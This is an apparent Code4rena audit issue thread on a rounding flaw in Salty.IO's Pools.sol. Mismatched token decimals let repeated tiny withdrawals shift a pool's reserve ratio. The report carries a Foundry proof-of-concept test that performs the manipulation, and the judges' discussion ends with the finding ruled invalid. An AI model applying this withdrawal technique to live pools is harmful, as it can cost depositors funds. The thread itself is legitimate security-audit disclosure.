search

code-423n4 / 2024-01-salty-findings

5 stars 3 forks source link

Pools with tokens with different decimals and low liquidity can be manipulated #941

Closed c4-bot-1 closed 5 months ago

c4-bot-1 commented 5 months ago

Lines of code

https://github.com/code-423n4/2024-01-salty/blob/main/src/pools/Pools.sol#L178-L183

Vulnerability details

Summary

Pools with low liquidity and different decimals can be manipulated by withdrawing an amount that rounds down one of the reclaimed variables to 0.

Vulnerability details

When removing liquidity from a pool a user has to specify liquidityToRemove and then it adjusts the reclaimed amounts depending on the ratio of the pool. This can be problematic if the tokens have different decimals as one of the reclaimed amounts can round down to 0. If that happens we only take out liquidity from the other token's reserve. Let's look at an example to understand the issue:

  1. A new pool is created and whitelisted - WBTC/DAI (WBTC has 8 decimals, DAI has 18 decimals)
  2. Alice sees that and deposits 1WBTC and 10,000DAI (we are assuming that this is the ratio of the tokens 1:10,000)
  3. Alice then withdraws almost all the liquidity but leaves reserve at 101 wei (this allows for easier manipulation)
  4. After the withdraw the ratio is still 1:10,000 so now Alice withdraws just enough liquidity so that reclaimedA = 0 and reclaimedB!= 0. This is calculated by this formula - (totalLiquidity / reserve0) - 1
  5. After many withdraws like this, Alice can set the ratio to be completely wrong. Let's say she sets the ratio to be 1:2 meaning 1WTBC is worth 1DAI
  6. As a result no one would want to deposit in that pool as they will lose almost all their value. Even if someone deposits liquidity Alice or anyone else can just swap the amount and it would result in a great loss for the depositer

This attack can be performed on pools that have multle owners as we are removing only from one of the reserves.

Proof of Concept

Add this test in 2024-01-salty\src\pools\tests\Pools.t.sol Add this on top import "forge-std/console.sol"; To run the test: COVERAGE="yes" NETWORK="sep" forge test --match-test testChangingRatioThroughWithdraw -vvv --rpc-url (your url)

    function testChangingRatioThroughWithdraw() public {
        // Tokens are flipped meaning reserve0 will be secondToken amount
        // reserve1 will be first token
        // Lets say first token is DAI and second one is WBTC and assume a price ratio of 1:10,000
        TestERC20 firstToken = new TestERC20("Test", 18);
        TestERC20 secondToken = new TestERC20("Test", 8);

        secondToken.transfer(alice, 100 * 10 ** 8);
        firstToken.transfer(alice, 100000 ether);

        secondToken.transfer(bob, 100 * 10 ** 8);
        firstToken.transfer(bob, 100000 ether);

        vm.startPrank(alice);
        secondToken.approve(address(collateralAndLiquidity), 100 * 10 ** 8);
        firstToken.approve(address(collateralAndLiquidity), 100000 ether);
        vm.stopPrank();

        vm.startPrank(bob);
        secondToken.approve(address(collateralAndLiquidity), 100 * 10 ** 8);
        firstToken.approve(address(collateralAndLiquidity), 100000 ether);
        vm.stopPrank();

        vm.startPrank(address(dao));
        poolsConfig.whitelistPool(pools, secondToken, firstToken);
        vm.stopPrank();

        vm.startPrank(alice);
        // Deposit 1WBTC and 10,000DAI
        collateralAndLiquidity.depositLiquidityAndIncreaseShare(secondToken, firstToken, 1 * 10 ** 8, 10000 ether, 0, block.timestamp, false);
        vm.warp(block.timestamp + 60 * 60 + 1);
        //Then alice sees a transaction and front runs it by withdrawing almost all the collateral
        // Now reserve0 becomes exatly 101 just above the Dust amount and reserves1 becomes a little above 1e16
        collateralAndLiquidity.withdrawLiquidityAndClaim(secondToken, firstToken, 999999e16, 0, 0, block.timestamp);
        // // This means that reclaimedA will round down to 0 and we only get out of reserve1. Continue this until reserve1 becomes 0
        // // Then we will be able to adjust the ratio in our favour
         (uint256 reserve0, uint256 reserve1) = pools.getPoolReserves(secondToken, firstToken);

        while(reserve1 > 201) {
            vm.warp(block.timestamp + 60 * 60 + 1);
            uint256 totalShares = collateralAndLiquidity.totalShares(PoolUtils._poolID(secondToken, firstToken));
            collateralAndLiquidity.withdrawLiquidityAndClaim(secondToken, firstToken, (totalShares / reserve0) - 1, 0, 0, block.timestamp);
            (reserve0, reserve1) = pools.getPoolReserves(secondToken, firstToken);
        }

        console.log("Reserve0: ", reserve0);
        console.log("Reserve1: ", reserve1);
        vm.stopPrank();

    }

In this test we see that Alice adjust the ratio to 101:201 even though at the beginning it was 1:10,000. Alice does this only by withdrawing liquidity. This is possible exactly because reclaimedA = 0 reclaimedB != 0.

Pools can be manipulated even if we are not a sole depositor using the formula I provided above (totalLiquidity / reserve0) - 1. It would however cost more gas to be executed.

Impact

This can either result in great loss for the depositer if they decide not to use the slippage control or the pool can become unusable because of incorrect ratio (another pool with the same tokens cannot be created)

Tools Used

Manual Review, VS Code, Foundry

Recommended Mitigation Steps

In Pools::removeLiquidity check if either reclaimedA or reclaimedB is 0 and if one is 0 we should revert.

Assessed type

Math

c4-judge commented 5 months ago

Picodes marked the issue as duplicate of #937

Picodes commented 5 months ago

The scenario described here is a semi-duplicate of #937 because it has more preconditions (1 single LP) and misses the part that this can happen at every pool initialization.

c4-judge commented 5 months ago

Picodes marked the issue as partial-75

c4-judge commented 5 months ago

Picodes changed the severity to 3 (High Risk)

LyuboslavVeliev commented 5 months ago

This issue is not a duplicate of #937 but instead a duplicate of #111. This issue and #111 are the only issues with this root cause so I believe they should be separated from #937 duplicates. Here is the reason - The root cause of #937 duplicates is that one can front-run a deposit and then swap for profit. However the root cause of this and #111 is that pools ratio can be manipulated and pools with different tokens can be manipulated by the same way. The way they can be manipulated is if either addedAmount0 or addedAmount1 is 0 and the other one is not (you can read the issue for more information). No front-running is used here. This is a completely different issue and I kindly ask this to be reevaluated and also upgraded to a full duplicate of #111 because the reasons the judge marked this as partial-75 are two - it has a precondition of 1 single LP and it misses the part that this can happen at every pool initialization.

  1. Even though I demonstrated the attack with a single LP I mentioned after the POC the following - "Pools can be manipulated even if we are not a sole depositor using the formula I provided above (totalLiquidity / reserve0) - 1. It would however cost more gas to be executed". I did say that the attack can be done even if there are multiple depositors and for simplicity and fast performance of the test I showed how it can be performed when there is a single LP.
  2. The root cause here is the same as in #111 and I believe they are equaly right even though demonstrated a little bit differently.
t0x1cC0de commented 5 months ago

Being the author of #111 , I second @LyuboslavVeliev 's views.

c4-judge commented 4 months ago

Picodes marked the issue as unsatisfactory: Invalid

c4-judge commented 4 months ago

Picodes marked the issue as unsatisfactory: Invalid

c4-judge commented 4 months ago

Picodes marked the issue as unsatisfactory: Invalid

c4-judge commented 4 months ago

Picodes marked the issue as unsatisfactory: Invalid

Picodes commented 4 months ago

@t0x1cC0de and @LyuboslavVeliev thanks for your comments. I can see how these 2 reports are different from the rest. However, unless I am missing something using minLiquidityReceived correctly would prevent this from happening. In this case, this would be invalid. Let me know if I am missing something.

t0x1cC0de commented 4 months ago

Thanks @Picodes for spending the time to re-analyze and dive deep into these overall class of issues. I have been reading your inputs and analysis made on the primary issue and others since the last few hours and I can now understand to some extent the perspective you are presenting for invalidation, which makes sense.

Keeping your comments in mind, I believe the differentiating factor and hence the vulnerability here is the fact that even after an "honest" first deposit has been made by Alice, Bob is able to mess up the reserve ratio. I additionally draw your attention to the "Impact & Issue - 2" section of my report #111 which outlines this in a different style. I'm not sure if that is a unique issue or a dupe of some other issue, but that scenario seems to be still valid. Bob is not trying to front-run anyone and his attacks are not avoidable by minLiquidityReceived fix. He still manages to gain shares while managing to avoid paying any token2.

I will be quite honest here, I haven't digested all the issues which have been grouped in this class and maybe somewhere you have already explained an invalidation reason despite the presence of the above points, so apologoes if this is a repetition. But from what little I could see, the "Impact & Issue - 2" seemed to be different.

Will trust you analysis and judgement.

Thank you!

LyuboslavVeliev commented 4 months ago

Thanks @Picodes for answering! In my example of the issue the front-running part is not the most important. The issue described is that after a fair ratio is set in a pool, a malicious user can actually change this ratio without ever swapping. In my example the ratio of a pool went from 1:10,000 to 101:201, which is a huge difference. Now if we are close to the dust amount this ratio cannot be changed through swaps and even if swaps can bring back the ratio, the depositors of the pool lose a lot of value since they put tokens at the original ratio and now users are extracting value in a way different ratio. If a user who lets say put 1WBTC and 10,000DAI wants to withdraw after this change of ratio, he would be able to get just ~1WBTC and 1DAI. This is how a user loses his funds. So the impact of this issue is not that we can harm users by front-running their transactions but that we can change pool's ratio and this way fair users lose money + if close to the dust amount this pool becomes unusable since no one will deposit at this wrong ratio + if someone neglects the slippage protection and does deposit they will end up losing most of the tokens. I would just like to add that this can happen even if we have multiple depositors in the pool, the user however will need to spend more gas to perform this attack.

Thanks for taking the time! Best wishes!

c4-judge commented 4 months ago

Picodes marked the issue as not a duplicate

c4-judge commented 4 months ago

Picodes marked the issue as duplicate of #785

Picodes commented 4 months ago

Thanks for your comments. Please check also the conversation on #785.

In the absence of a convincing PoC showing a profitable attack in which a user correctly setting the slippage is losing funds, I won't validate this issue and its duplicate.

Picodes commented 4 months ago

"If a user who lets say put 1WBTC and 10,000DAI wants to withdraw after this change of ratio, he would be able to get just ~1WBTC and 1DAI." this doesn't look correct to me - or it would cost a lot to the attacker